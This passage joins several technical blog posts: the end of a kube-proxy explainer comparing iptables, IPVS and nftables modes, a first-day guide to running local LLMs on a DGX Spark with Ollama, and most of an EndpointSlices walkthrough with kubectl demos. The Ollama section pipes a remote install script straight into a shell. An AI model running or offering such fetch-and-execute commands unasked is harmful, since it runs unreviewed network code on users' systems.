-A KUBE-SEP-2 -j DNAT --to-destination 10.244.2.18:80
```

The kernel rewrites the destination of the packet from the virtual ClusterIP to a real pod IP. The packet is now headed at a real pod, on a real node. The kernel's conntrack table remembers this NAT so the return traffic gets rewritten back.

**This walk is O(n).** Every Service port adds a rule to `KUBE-SERVICES`. Every backend adds rules to its per-Service `KUBE-SVC` chain. A cluster with 100 Services and a few hundred endpoints is fine. A cluster with 5000 Services and tens of thousands of endpoints starts hurting, and that pain shows up in two places: the per-packet lookup (paid on the first packet of every new connection, with conntrack handling the rest), and the rule update time itself.

Modern kube-proxy has reduced the old full-rewrite-on-every-change behavior since 1.28, it now does more minimal updates. But large rule sets are still expensive to apply, and while an update is in progress, the rules on that node are slightly behind reality. That is the wall iptables hits at scale.

## Part 3: IPVS mode

IPVS (IP Virtual Server) is a kernel L4 load balancer that ships in mainline Linux. It is used outside Kubernetes too, `ipvsadm` is the userspace tool. When kube-proxy runs in IPVS mode, it does something specific: it creates a dummy network interface called `kube-ipvs0` and adds every Service's ClusterIP to it.

```bash
$ ip addr show kube-ipvs0
kube-ipvs0: <BROADCAST,NOARP> mtu 1500
    inet 10.96.255.20/32 scope global kube-ipvs0
    inet 10.96.255.21/32 scope global kube-ipvs0
    ...
```

Now when a packet headed at a ClusterIP arrives at the node, the kernel sees the address is local to `kube-ipvs0`. Instead of routing it, it hands it to IPVS. IPVS looks up the virtual service in its hash table, **one lookup, O(1), regardless of how many Services exist**. Then the IPVS scheduler picks a real server. The default is `rr` (round-robin), but you can choose:

- `lc`: least connections
- `sh`: source hash (session affinity by client IP)
- `dh`: destination hash
- `mh`: Maglev hash
- `wlc` / `wrr`, weighted variants
- `nq` / `sed`, never queue / shortest expected delay

The kernel does the DNAT, conntrack records it, packet routes to the pod. Done.

**Here is a thing not everyone knows.** IPVS mode does not actually replace iptables. It still uses iptables behind the scenes for things like rewriting source IPs, handling traffic coming in from outside the cluster, and a few corner cases the IPVS kernel module cannot do on its own. So even when you turn IPVS mode on, there are iptables rules running. They are just smaller, and they are not the thing the kernel uses to pick a backend pod.

IPVS solved the iptables scale problem for years. But it requires the IPVS kernel module to be loaded, some hardened distros do not have it, and the mode itself was **deprecated in Kubernetes 1.35** (PR #134539). Users are encouraged to move to nftables for new deployments.

## Part 4: nftables mode

nftables is the modern alternative. It went stable in Kubernetes 1.33 (alpha 1.29, beta 1.31, GA 1.33). It uses the same netfilter infrastructure as iptables underneath, but with a much better data structure: **verdict maps**.

In nftables mode, kube-proxy creates a single table named `kube-proxy`. Inside it sits a verdict map. The key is `destIP:port`. The value is a jump to the per-Service chain:

```
table ip kube-proxy {
  chain services {
    ip daddr . tcp dport vmap @service-vmap
  }
  map service-vmap {
    type ipv4_addr . inet_service : verdict
    elements = {
      10.96.255.20 . 80 : jump svc-FXIYY,
      10.96.255.21 . 80 : jump svc-ABCDE,
      ...
    }
  }
}
```

**One lookup. O(1).** Same complexity as IPVS, but using mainline netfilter instead of a separate kernel module. No need to load anything extra. No iptables-restore bottleneck. No IPVS module dependency.

And here is why nftables matters. It went stable in 1.33. It is still not the default, **iptables holds that spot**. But nftables is now the recommended path for any cluster running a modern Linux kernel. The iptables era is not ending overnight. But the door to leave it is officially open.

One requirement worth knowing: the kernel must be **Linux 5.13 or newer**. kube-proxy literally fails to start in nftables mode on older kernels, there's an explicit version check in `pkg/proxy/nftables/supported.go` that returns *"kube-proxy in nftables mode requires kernel 5.13 or later"* if the kernel is too old.

## Part 5: Performance crossover

Three modes. Three scale curves.

- **iptables**: O(n) on the first packet of a new connection. The bigger story is sync time: with a large rule set, an iptables update can take real wall-clock time to apply.
- **IPVS**: O(1) hash lookup per packet, constant time regardless of Service count. Sync time is much smaller than iptables because IPVS updates are incremental at the kernel level.
- **nftables**: also O(1) per packet via verdict map, and update time stays in milliseconds for typical incremental changes (the kernel data structure was designed for this).

The big surprise for most people is not how fast or slow the packet lookup is. It is how long it takes to **update the rules**. In a large cluster, an iptables update can take seconds. It depends on how many Services and endpoints you have, what hardware the node is running, the kube-proxy version. And while that update is running, the node is operating on slightly stale rules. nftables, by contrast, applies the same kind of change in milliseconds. Orders of magnitude faster.

**Rule of thumb:** iptables is fine up to a few hundred Services. Above ~1000 Services, watch your `kube-proxy` sync metrics. For very large clusters, evaluate nftables.

## Part 6: What to actually pick in 2026

So how do you actually decide?

| Scenario | Pick |
|---|---|
| Small or default cluster (under ~1000 Services) | **iptables**: mature, upstream default, no reason to switch |
| Large cluster on Linux 5.13+ with a modern CNI | **nftables**: stable since 1.33, scales much better |
| Older Linux kernel without nftables-mode support | **iptables**: do NOT default to IPVS, it is deprecated |
| Already on IPVS, working fine in production | **IPVS**: keep using it for now, but plan a migration to nftables |
| Brand-new cluster spinning up in 2026 | **iptables for default workloads · nftables when you outgrow it** |

Note the last row. nftables is now the recommended direction, but the upstream default is still iptables, and that is fine for the vast majority of clusters.

## Wrap

That is kube-proxy. One daemon, running on every node, watching Services and EndpointSlices, programming the kernel. Three modes. One job. It is the most boring sounding component in Kubernetes networking, and it is the one that actually makes Services work.

Now you know which mode is running on your cluster, and why it matters.

---

**Next deep dive:** topology-aware routing. How kube-proxy uses the `hints.forZones` field on EndpointSlices to keep traffic same-zone, and what happens when a zone goes underweight.

---

# Day 1: The Local LLM Revolution. Why Your Desk Just Became the New Datacenter

- Canonical: https://blog.kubesimplify.com/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter
- Published: 2026-05-25
- Summary: Why local LLMs are becoming practical in 2026, what changed across open weights, hardware, and inference software, and why DGX Spark makes the desk feel like a small AI lab.

*Day 1 of "7 Days of Local LLM". A field guide to running serious LLMs on a $4,699 box on your desk. Real concepts, real demos, real numbers.*

---

In 2019, training a model the size of GPT-2 cost about $43,000 and took a multi-GPU cluster nobody had at home. In 2024, running inference on a 70-billion-parameter model meant renting H100s by the hour. Today, in 2026, **you can do both on a desk machine that fits next to your monitor.**

That sentence has been waiting to be true for a long time. Let me show you why it is, what changed, and what your desk now does that used to need a datacenter.

This series, "7 Days of Local LLM," is going to walk you through the local LLM revolution from the ground up. Today is the why. Next, we look at what actually happens inside a single LLM request, then we open the Spark itself. By the end of the week you'll know enough to set up your own local AI lab, pick the right model for the right job, and tell the difference between marketing tok/s and real-world tok/s.

**Quick refresher (skip if you already know this).** A Large Language Model is a neural network trained on huge amounts of text. The model holds billions of learned numbers called **parameters** (or **weights**). When you give it a prompt, it produces output one **token** at a time (a token is a small chunk of text, roughly 3-4 characters). When people say "Llama 3.3 70B," the 70B means 70 billion parameters: bigger usually means smarter but slower and hungrier for memory. Running the model on your hardware is called **inference**, and the speed is measured in tokens per second (**tok/s**). We'll unpack request mechanics, number formats like BF16, and model sizing later in the series.

{{llm-request-animation}}

Let's start with what changed.

## The three things that made local LLMs viable in 2025-26

For most of the last decade, "running an LLM" meant calling someone else's API. There were three reasons why.

**Reason 1: The models were closed.** OpenAI, Anthropic, Google kept the weights. The open models that existed were three generations behind.

**Reason 2: The hardware didn't fit.** A 70-billion parameter model in BF16 needs 140 GB of memory. The most expensive consumer GPU in 2023 had 24 GB. You couldn't load the model, let alone run it.

**Reason 3: The software couldn't catch up.** Even when you had the weights and the silicon, the inference engines were research code. Setup was painful, performance was unpredictable, and nobody offered a real production path.

All three of those things changed at roughly the same time.

The open models caught up. Meta released Llama 3.3 70B and Llama 4 under an open-weight community license (not classic open-source, but free to download and use under stated terms). Alibaba released Qwen 3.5 and 3.6 in sizes from 0.6B to 397B-A17B under Apache 2.0. Mistral, DeepSeek, Google's Gemma 4 series (custom Gemma terms), NVIDIA's own Nemotron 3 family (NVIDIA Open Model License). **The frontier of open weights is now within 6 months of the closed-weight leaders, and on some benchmarks it leads.** Nemotron 3 Super, the 120B-A12B model NVIDIA released at the end of 2025, sits at #1 on DeepResearch Bench per NVIDIA's published evaluation, ahead of several proprietary frontier offerings.

The hardware caught up too. Two things had to happen.

First, the math units inside the GPU - called **tensor cores** - learned to handle a new, smaller number format that takes one-quarter the memory of what they used before. Less memory per number means a much bigger model fits in the same box. NVIDIA's name for the new format is **NVFP4**, and we'll unpack it properly later.

Second, a different chip design started showing up on the desktop: **unified memory**. In a normal computer the CPU and the GPU each have their own pool of memory, and moving data between the two pools is slow. With unified memory there's one shared pool and both chips can read from it directly - no copying. Apple Silicon kicked this door open with 128 GB Macs. NVIDIA followed with the **GB10** chip inside the DGX Spark, which also shares 128 GB of memory between CPU and GPU.

The practical effect: a 70-billion-parameter model that used to need clever software tricks to fit across two memory regions now just sits in one pool, ready to use.

And the software finally got real. **Ollama**, **llama.cpp**, **vLLM**, **SGLang**, **Docker Model Runner**, **LM Studio**, **NVIDIA's NIM containers**, every one of them now offers a `pull model, run model, hit the API` experience that used to require a PhD in CUDA.

That's the perfect storm. Open-weight models (Apache 2.0, community, and custom licenses, see each model card), hardware with enough memory, software that's productized. **Three years ago this didn't work. Today it does.**

---

![What made local LLMs real in 2025-26](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-1-local-llm-shift.svg)

---

## Why anyone bothers running models locally

Cloud APIs are convenient. So why bother with a local setup at all?

Five real reasons. I'll go in rough order of how often I hear them.

**Privacy and compliance.** Your data never leaves your network. If you work in healthcare, finance, legal, government, defense, or any environment with regulatory constraints on where data lives, this is the only path. A local LLM on a local box is a local audit trail.

**Cost per token at scale.** A few prompts a day do not justify local hardware. Hundreds of millions of tokens a day can. At an illustrative $0.50 per million output tokens, 100M output tokens/day costs $50/day, which puts a $4,699 Spark near a three-month hardware break-even before electricity and ops.

**Latency control.** Even a fast cloud API call can add 200-800 ms of network and service overhead before the model's actual work begins. For agentic workflows where one user action triggers ten LLM calls, that overhead compounds quickly. A local model running beside your application removes the internet round-trip; the local network hop is usually single-digit milliseconds.

**Customization.** Fine-tuning, quantization, model surgery, all easier with weights you own. Want a model that always answers in your company's tone, refuses to discuss competitors, and knows your internal product names? Easy with local weights. Hard with an API.

**Reliability.** Cloud APIs go down. Network goes down. Your local setup answers as long as the box has power. The first time your dev workflow doesn't break because OpenAI is having an outage, you'll wonder why you ever depended on someone else's uptime.

There's a sixth I'll add quietly: **it's fun.** Watching a 120-billion parameter model load on your own GPU and start generating text is a different experience than typing into someone else's chat box. You feel the bytes. That matters more than I expected.

---

![Five reasons local LLMs win over cloud APIs](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-2-local-llm-reasons.svg)

---

## The local LLM stack, explained

When you "run a local LLM," four pieces have to work together. Let me name them, because every confusing thing in the rest of this series is about one of these four layers.

**Layer 1: The model.** The weights, which are the billions of learned numbers (the parameters) that encode what the model knows. For a 70B BF16 model that's a ~140 GB file, usually split across multiple safetensors files on disk. When people say "I'm running Llama 3.3 70B," they mean those weights are loaded in memory.

**Layer 2: The hardware.** The chip that does the math. For our series, it's the **DGX Spark**, specifically the GB10 Grace Blackwell Superchip: a Grace ARM CPU and a Blackwell GPU sharing 128 GB of unified LPDDR5x memory. The hardware deep dive comes later in the series.

**Layer 3: The inference engine.** The software that takes a prompt and turns it into tokens by talking to the hardware. **Ollama** is the easiest wrapper. **vLLM** is the production-grade engine. **llama.cpp** is the C++ engine that sits under Ollama and several others. **SGLang** specializes in agentic workloads. We'll compare the tradeoffs later in the series.

**Layer 4: The interface.** What you actually type into. A chat UI like Open WebUI, an OpenAI-compatible HTTP API for your app to call, or an agent framework like **Hermes Agent** that NVIDIA recommends for DGX Spark, which lets a model autonomously call tools and improve itself. We'll touch this near the end of the series.

These four layers connect like this: your interface sends a prompt to the inference engine, the engine turns it into operations on the model weights using the hardware, the hardware returns tokens, the engine streams them back to your interface. Simple in shape, full of choices.

---

![The four-layer local LLM stack](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-3-four-layer-stack.svg)

---

## Meet the DGX Spark (one paragraph version)

The DGX Spark is NVIDIA's answer to "what if we made a personal workstation specifically for serving and fine-tuning frontier-class LLMs." It's a small box, about 1.2 kg, fits under a monitor. Inside is the GB10 superchip: 20 Arm cores (10 Cortex-X925 plus 10 Cortex-A725), a Blackwell GPU with 6,144 CUDA cores and 5th-generation tensor cores, and **128 GB of unified LPDDR5x memory that both the CPU and GPU see as one pool.** NVIDIA specifies a 240W external power supply and a 140W GB10 SoC TDP; in my own inference runs, the system stayed under 150W at the wall. It costs $4,699. DGX OS is based on Ubuntu 24.04 and includes CUDA 13.0, NVIDIA's AI stack, and NVIDIA Container Runtime for Docker. Ollama is one command away if it is not already installed.

That's the elevator pitch. We'll unpack the hardware properly in the coming days.

For today, the only thing you need to know about the hardware is this: **it has enough memory to hold real models**. A Llama 3.3 70B in 4-bit fits in 35 GB. A Gemma 4 26B-A4B in NVFP4 fits in 13 GB. Even NVIDIA's flagship **Nemotron 3 Super, 120 billion total parameters with 12.7 billion active**, sits at about 87 GB as Ollama's Q4_K_M GGUF (the artifact actually on my Spark; NVIDIA's own NVFP4 builds of the same weights would be smaller). All of that on one box, on your desk, with budget left over for KV cache and a generous context window.

That capability is the reason this series exists.

---

![DGX Spark form factor and key specs](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-4-dgx-spark-specs.svg)

---

## Your first 30 seconds with a local LLM

Before any deep dive, try the thing. If Ollama is not already installed, start here:

```bash
curl -fsSL https://ollama.com/install.sh | sh
```

Then run the model:

```bash
ollama pull nemotron-3-super
ollama run nemotron-3-super
```

That's it. The 87 GB download takes about 10 minutes on a fast connection. The model loads in roughly a minute. Then you're chatting with a frontier-class 120B model that lives entirely on your desk and never sees the internet.

For something faster but still impressive, here are a few useful reference points:

```bash
ollama run llama3.1:8b # ~38 tok/s, 8B q4_K_M
ollama run gpt-oss:20b # ~58 tok/s, 20B MXFP4
ollama run deepseek-r1:14b # ~20 tok/s, 14B q4_K_M
ollama run gemma4:26b # ~58 tok/s in my Spark test, 26B A4B MoE
```

The first three decode numbers are from [Ollama's own DGX Spark benchmark page](https://ollama.com/blog/nvidia-spark-performance), using DGX Spark firmware 580.95.05 and Ollama v0.12.6 with caching disabled. The Gemma 4 number is a separate local result from my Spark logs: `gemma4:26b` at Q4_K_M, 58.02 tok/s decode, with `ollama ps` showing 100% GPU. In a separate Gemma 4 video correction, I also showed the upgrade lesson: an older Ollama build fell back to CPU, while a current build moved the same class of run back onto the GPU. Keep the tag explicit: `gemma4` / `gemma4:latest` currently points at the smaller E4B default, while `gemma4:26b` is the 26B Mixture-of-Experts model.

Once you've chatted, you've technically done it. You ran a local LLM. The rest of this series is depth, performance, and what you do when "chat" isn't enough.

---

![Hello-world flow for pulling, loading, and chatting with a local model](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-5-hello-world-flow.svg)

---

## The series map

Each post tells one big story and shows it on a real Spark.

| Day | What you'll understand | What you'll see running |
|---|---|---|
| 1 (today) | Why local LLMs, why now, why Spark | Ollama hello-world |
| 2 | What actually happens between your prompt and the answer | A single request traced through vLLM logs |
| 3 | The GB10 hardware: cores, memory, sm_121, NVFP4 tensor cores | `deviceQuery`, `nvidia-smi`, `free -h` |
| 4 | Quantization: BF16, FP8, NVFP4, MXFP4, INT4, GGUF, microscaling | Same-model multi-format benchmarks |
| 5 | The inference engines you can use on Spark, and which to pick | Ollama, vLLM, and Docker Model Runner serving the same model class, side by side |
| 6 | The full model landscape: small to frontier, plus `llmfit` to pick automatically | A custom leaderboard, models you can run today |
| 7 | A working personal AI lab: model + agent + training | Nanochat smoke pretrain end-to-end, plus walkthroughs of the Hermes Agent and autoresearch workflows |

---

![The 7-day DGX Spark roadmap](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-6-roadmap.svg)

---

## The honest reality check (the part most reviews skip)

Before you click "buy" on a Spark, you should know the things this series will keep coming back to.

**A Spark is not the fastest tok/s machine for a single user.** A single RTX 5090 with a model that fits its 32 GB is faster for one person. The Spark's value is *capacity*, not raw speed. Big models fit. That's the thesis.

**Setup pain is real.** The Spark uses sm_121 (consumer Blackwell), which isn't sm_100 (datacenter Blackwell). Half the inference libraries you find on the internet ship prebuilt kernels for the wrong architecture. We document the workarounds.

**Inference engines on this hardware have had real bugs.** I personally tracked one in early 2026 where Ollama wouldn't use the GPU. That bug is fixed in the current Ollama stack, but it's a good reminder that you're on the bleeding edge of consumer Blackwell software. New things break.

**Memory pressure is the cliff.** The 128 GB looks luxurious until you load a 70B model with a long context and the model's working memory eats real space on top of the weights. How much depends on the model and the inference engine, and the hardware deep dive has the safe-envelope formula that keeps you from face-planting into that cliff.

None of this is dealbreaker territory. It's the cost of being early. **And being early on this hardware genuinely feels like being early on a personal computer in 1985.**

---

![Honest DGX Spark tradeoffs at a glance](/img/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter/d1-7-tradeoffs.svg)

---

## Where we go next

Next, we open the black box. We're going to follow a single LLM request from the moment you press enter to the moment a token comes out the other end. You'll learn what tokenization is, why prefill and decode have completely different performance profiles, what a KV cache actually stores, and why memory bandwidth (not compute) is the bottleneck that defines what's possible on a Spark.

If you've ever wondered why a 70-billion parameter model on a 273 GB/s memory bus generates tokens at maybe 7 per second when a 700M parameter model on the same hardware generates 200, the next post answers that.

See you in the next part.

---

*References for this post: [NVIDIA DGX Spark Hardware Overview](https://docs.nvidia.com/dgx/dgx-spark/hardware.html), [NVIDIA DGX Spark System Overview](https://docs.nvidia.com/dgx/dgx-spark/system-overview.html), [Ollama: Install on Linux](https://ollama.com/download/linux), [Ollama: nemotron-3-super](https://ollama.com/library/nemotron-3-super), [Ollama: gemma4](https://ollama.com/library/gemma4), [Google: Gemma 4](https://blog.google/innovation-and-ai/technology/developers-tools/gemma-4/), [Ollama: NVIDIA DGX Spark performance](https://ollama.com/blog/nvidia-spark-performance), [Ollama: NVIDIA DGX Spark overview](https://ollama.com/blog/nvidia-spark), [NVIDIA Newsroom: Nemotron 3 family](https://nvidianews.nvidia.com/news/nvidia-debuts-nemotron-3-family-of-open-models), [NVIDIA Research: Nemotron 3](https://research.nvidia.com/labs/nemotron/Nemotron-3/), [NVIDIA Hermes Agent on DGX Spark](https://blogs.nvidia.com/blog/rtx-ai-garage-hermes-agent-dgx-spark/), [Artificial Analysis: Nemotron 3 Super](https://artificialanalysis.ai/articles/nvidia-nemotron-3-super-the-new-leader-in-open-efficient-intelligence).*

---

# How Kubernetes EndpointSlices Actually Work (and Why Endpoints Had to Die)

- Canonical: https://blog.kubesimplify.com/how-kubernetes-endpointslices-actually-work-and-why-endpoints-had-to-die
- Published: 2026-05-11

A Service has no pod IPs in it. We covered that in the last post. So somewhere, something is keeping a list of every pod IP that matches the Service's label selector. So that kube-proxy can program the kernel. So that CoreDNS can answer a Headless lookup. **That somewhere is an EndpointSlice.**

This post walks the full picture: why the original `Endpoints` API had to be replaced, what is actually inside a slice, the three conditions that decide whether traffic flows to a pod, how zone-aware routing works through topology hints, who watches these things, and a real cluster demo at the bottom. Every claim is verified against `kubernetes/kubernetes` 1.36 source and CoreDNS 1.11.

%[https://youtu.be/_MJ1ou-Oj-s?si=Zi9vHbI_Bf_snVlo] 

## TL;DR

1.  **Why slices exist.** The legacy `Endpoints` object held every backend pod IP in one blob. Three thousand pods meant a giant object, watched by every kube-proxy on every node, rewritten on every change. It did not scale. EndpointSlices (GA in 1.21) replaced it with many small objects capped at 100 endpoints each.
    
2.  **What is in a slice.** An `addressType` (`IPv4` or `IPv6`, plus an unused `FQDN`), a list of endpoints with conditions and a `targetRef` pointing back at the pod, a list of ports, and labels that bind it to its parent Service.
    
3.  **Three conditions.** `Serving` tracks the readiness probe. `Terminating` flips during pod deletion. `Ready` is the convenience flag — shorthand for `Serving=true AND Terminating=false`. The split exists so kube-proxy can keep using a draining pod that still answers requests.
    
4.  **Topology hints.** Each endpoint can carry a `hints.forZones` field. kube-proxy on a node in `us-east-1a` prefers endpoints hinted for that zone. Same-zone routing means lower latency and lower cross-zone traffic costs.
    
5.  **Two watchers.** kube-proxy and CoreDNS both watch EndpointSlices via the `discovery/v1` API. kube-proxy reprograms iptables. CoreDNS uses them to answer Headless-Service lookups directly with pod IPs.
    

## Part 1: Why EndpointSlices exist

To understand why EndpointSlices exist, look at what came before.

There was just one object per Service. The `Endpoints` object. One blob, with every backend pod IP inside it. Three pods? Fine. Three thousand pods? **That object becomes huge.** Every kube-proxy on every node watches it. Every change rewrites the entire blob. Every node re-receives the entire blob. The api-server chokes. kube-proxy chokes. The system did not scale.

The fix landed in Kubernetes 1.16 (alpha) and went GA in 1.21. Instead of one giant `Endpoints` object, you get many small `EndpointSlice` objects. Each one is capped at 100 endpoints by default. Add a pod, only the slice it lands in gets rewritten. Watchers only re-process that one slice. The api-server only ships one small object on the wire. **Linear scaling instead of quadratic blow-up.**

The original `Endpoints` API is officially deprecated as of 1.33 (KEP-4974). It still gets written for backward compatibility, but EndpointSlices are the source of truth now, and modern controllers read slices, not the legacy object.

## Part 2: What is actually inside a slice

When you create a Service, the EndpointSlice controller wakes up. It runs inside `kube-controller-manager`. It watches Services. It watches Pod changes. When either changes, it reconciles.

For each pod in the namespace that matches the Service's label selector and is `Ready`, the controller builds a slice entry: pod IP, pod node, ports, conditions. Then it writes or updates one or more `EndpointSlice` objects. The api-server validates them and writes them to etcd. kube-proxy and CoreDNS watch them via the api-server. Done.

A trimmed `kubectl describe endpointslice` looks like this:

```plaintext
Name:         my-service-x29k9
Labels:       kubernetes.io/service-name=my-service
              endpointslice.kubernetes.io/managed-by=endpointslice-controller.k8s.io
AddressType:  IPv4
Ports:
  Name    Port  Protocol
  http    80    TCP
Endpoints:
  - Addresses:  10.244.1.42
    Conditions:
      Ready:        true
      Serving:      true
      Terminating:  false
    TargetRef:    Pod/nginx-abc-123
    NodeName:     worker
  - Addresses:  10.244.2.18
    Conditions:
      Ready:        true
      Serving:      true
      Terminating:  false
    TargetRef:    Pod/nginx-abc-456
    NodeName:     worker2
```

Five fields are doing all the work:

*   `addressType`**.** `IPv4` or `IPv6`. Dual-stack Services get two slices, one for each protocol. There's a third value, `FQDN`, in the API enum, but no Kubernetes component implements behavior for it. We'll come back to this.
    
*   `endpoints[]`**.** The list. Each entry has `addresses` (the pod IP), `conditions` (the three flags we'll cover next), `targetRef` (a pointer back at the source Pod), and `nodeName` (used by topology routing).
    
*   `ports[]`**.** The Service's exposed ports, copied here so kube-proxy doesn't have to cross-reference.
    
*   `labels`**.** `kubernetes.io/service-name` is the binding label that tells every consumer which Service this slice belongs to. The `managed-by` label distinguishes slices written by the core controller from slices written by other controllers (Cilium, Antrea, MCS-API).
    
*   `ownerReferences`**.** Points at the parent Service so deletion cascades naturally.
    

### Why 100?

100 endpoints per slice is the default cap. It is a deliberate tradeoff.

Smaller slices means more API objects in etcd but fewer bytes per watch event. Bigger slices means fewer objects but every change rewrites a larger blob. 100 sits in the middle. A Service with 3 pods has 1 slice. A Service with 300 pods has 3. A Service with 3000 pods has 30. The cap is configurable up to 1000 via the `--max-endpoints-per-slice` flag on `kube-controller-manager`, but most clusters never need to touch it.

## Part 3: The three conditions

Each endpoint has three condition flags. `Ready`. `Serving`. `Terminating`. They sound similar. They mean different things. And they decide whether traffic actually goes to that pod.

### Serving

`Serving` tracks the readiness probe. If the pod's readiness probe passes, `Serving = true`. The pod is willing and able to handle requests. kube-proxy can route traffic here.

This is the underlying truth flag. The other two are derived from it.

### Terminating

`Terminating = true` means the pod is being deleted. The Kubernetes controller observes the pod's `deletionTimestamp` and flips this flag.

kube-proxy normally stops sending **new** connections to a Terminating endpoint, so the pod can drain in peace. But there's a safety fallback: **if every endpoint for a Service is Terminating**, kube-proxy keeps routing traffic to them anyway, rather than dropping connections. This is the graceful-shutdown safeguard that stops a class of zero-downtime rollout bugs where the old pods are gone before the new pods are ready.

### Ready

`Ready` is the convenience flag. It is shorthand for `Serving = true AND Terminating = false`. A normal, accepting-traffic, not-being-deleted pod has `Ready = true`.

The reason the two flags are split: a pod **can** be Serving but not Ready, during graceful shutdown. It still answers requests, but it's being drained. This split was added so kube-proxy can make a smart decision: don't pick this pod for new connections, but keep any in-flight ones going. Without `Serving` as a separate flag, draining pods would be a much rougher transition.

| State | Serving | Terminating | Ready | Routing |
| --- | --- | --- | --- | --- |
| Normal pod accepting traffic | true | false | true | yes |
| Pod failing readiness | false | false | false | no |
| Pod being drained | true | true | false | in-flight only, no new |
| Pod being killed | false | true | false | no |

## Part 4: AddressType, and the FQDN edge case

The API defines three address types:

```go
// k8s.io/api/discovery/v1/types.go
const (
    AddressTypeIPv4 = AddressType(v1.IPv4Protocol)
    AddressTypeIPv6 = AddressType(v1.IPv6Protocol)
    AddressTypeFQDN = AddressType("FQDN")
)
```

In practice, you only ever see two. Dual-stack Services produce two slices, one with `addressType: IPv4` and one with `addressType: IPv6`. Same Service, same conditions, different protocol.

`FQDN` is a constant the API exposes. **No core Kubernetes component implements behavior for it.** The same `types.go` file states it directly:

> "The syntax and semantics of other addressType values are not defined. This must contain at least one address but no more than 100. EndpointSlices generated by the EndpointSlice controller will always have exactly 1 address."

So `FQDN` is reserved space in the API. The EndpointSlice controller never produces it. kube-proxy doesn't program rules for it. CoreDNS doesn't resolve from it. If you create one manually, nothing happens.

It's there for hypothetical extensions: a controller could write FQDN-typed slices for things like external services, and a custom data plane could consume them. In a default cluster, treat the AddressType field as a binary IPv4-or-IPv6 flag.

## Part 5: Topology hints (zone-aware routing)

This is the part most people don't know about.

Each endpoint can carry a `hints` field with `forZones` — a list of zones this endpoint is preferred for. kube-proxy reads these hints. If a pod is in `us-east-1a`, kube-proxy on a node in `us-east-1a` prefers endpoints hinted for that zone. **Same-zone routing. Lower latency. Lower cross-zone egress costs**, which on AWS / GCP can be a real bill line item.

### Where hints come from

The EndpointSlice controller writes them. It reads the pod's node label `topology.kubernetes.io/zone`. If the Service has the annotation:

```yaml
metadata:
  annotations:
    service.kubernetes.io/topology-mode: Auto
```

then the controller computes hints automatically, balancing endpoints across zones, weighted by each zone's allocatable CPU. The goal: each zone serves traffic proportional to its compute capacity. If `us-east-1a` has 60% of the cluster's CPU, it gets ~60% of the endpoints hinted for that zone.

Manual hints are also possible via the same annotation set to specific zone names, or via custom controllers that write hints directly. The auto mode is what most clusters use.

### When hints don't fire

Auto mode has safety bailouts. If the zone distribution is too unbalanced — say one zone has all the pods — the controller drops hints entirely rather than route everything to that zone. kube-proxy without hints falls back to its normal round-robin behavior. This is intentional: same-zone routing is only safe when every zone has enough capacity to handle its own traffic.

## Part 6: Who watches EndpointSlices

Two consumers. Both watch the same API.

### kube-proxy

kube-proxy runs as a DaemonSet on every node. It has two informers: one on Services, one on EndpointSlices. When a slice changes, it diffs the new state against the kernel's current rules, then batches the changes into a single `iptables-restore` (or nftables, since 1.33). The whole rule set is replaced as one transaction.

Three nodes, three independent reprograms, all in parallel. Total time on a normal cluster: milliseconds per change.

### CoreDNS

CoreDNS watches EndpointSlices through its `kubernetes` plugin. From `coredns/plugin/kubernetes/controller.go`:

```go
import discovery "k8s.io/api/discovery/v1"

epLister, epController := object.NewIndexerInformer(
    &cache.ListWatch{
        ListFunc:  endpointSliceListFunc(...),
        WatchFunc: endpointSliceWatchFunc(...),
    },
    &discovery.EndpointSlice{},
    ...
)
```

For a normal Service, CoreDNS returns the ClusterIP — it doesn't actually need the slice to answer that query. The slices matter for **Headless Services** (`clusterIP: None`). For those, CoreDNS returns the pod IPs from the slice directly, no virtual IP, no kube-proxy in the path. This is how StatefulSets get per-pod DNS: `pod-0.my-statefulset.default.svc.cluster.local` resolves to one specific pod IP, pulled out of the slice.

Both watchers are list-watch. They get the initial state from a `List`, then incremental `ADDED` / `MODIFIED` / `DELETED` events via the watch stream. No polling.

## Part 7: A real cluster demo

Let me show this on a real cluster. Three workers, a kind v1.35.1 cluster:

```bash
$ kubectl get nodes
NAME                 STATUS   ROLES           AGE
kind-control-plane   Ready    control-plane   2m
kind-worker          Ready    <none>          2m
kind-worker2         Ready    <none>          2m
kind-worker3         Ready    <none>          2m
```

Apply a Deployment with three nginx pods and a Service:

```bash
$ kubectl create deployment nginx --image=nginx --replicas=3
$ kubectl expose deployment nginx --port=80
```

### Three pods

```bash
$ kubectl get endpointslices -l kubernetes.io/service-name=nginx
NAME          ADDRESSTYPE   PORTS   ENDPOINTS                                     AGE
nginx-x29k9   IPv4          80      10.244.1.42,10.244.2.18,10.244.3.07           5s
```

One slice. Three endpoints. Each pod IP, each node, each Ready. Exactly what we expect for three pods.

Worth noticing: the slice itself was actually created **the moment the Service was**, as an empty placeholder. As each pod transitioned to Ready, the controller filled it in and updated the same slice object. The placeholder pattern means downstream watchers always have something to bind to, even before any pod is ready.

### Scale to 50

```bash
$ kubectl scale deployment nginx --replicas=50
```

Watch the slice:

```bash
$ kubectl get endpointslices -l kubernetes.io/service-name=nginx
NAME          ADDRESSTYPE   PORTS   ENDPOINTS                                     AGE
nginx-x29k9   IPv4          80      10.244.1.42,10.244.1.43,... (50 entries)      2m
```

Still one slice. Fifty endpoints. Under the 100-endpoint default cap. kube-proxy on every node reprogrammed. CoreDNS, if this were a Headless Service, would now return all fifty IPs in the DNS answer.

### Scale to 200 — the slice splits

```bash
$ kubectl scale deployment nginx --replicas=200
```

```bash
$ kubectl get endpointslices -l kubernetes.io/service-name=nginx
NAME          ADDRESSTYPE   PORTS   ENDPOINTS                       AGE
nginx-x29k9   IPv4          80      ... (100 entries)               3m
nginx-fz4mp   IPv4          80      ... (100 entries)               12s
```

**Two slices.** One with 100 endpoints. One with another 100. kube-proxy reads both, stitches the rules together, and the Service has two hundred backends. The split is invisible to anyone using the Service. You curl one ClusterIP and the kernel picks one of the 200 pods.

### Rolling update

Now do a rolling update — change the image, watch the slices in real time:

```bash
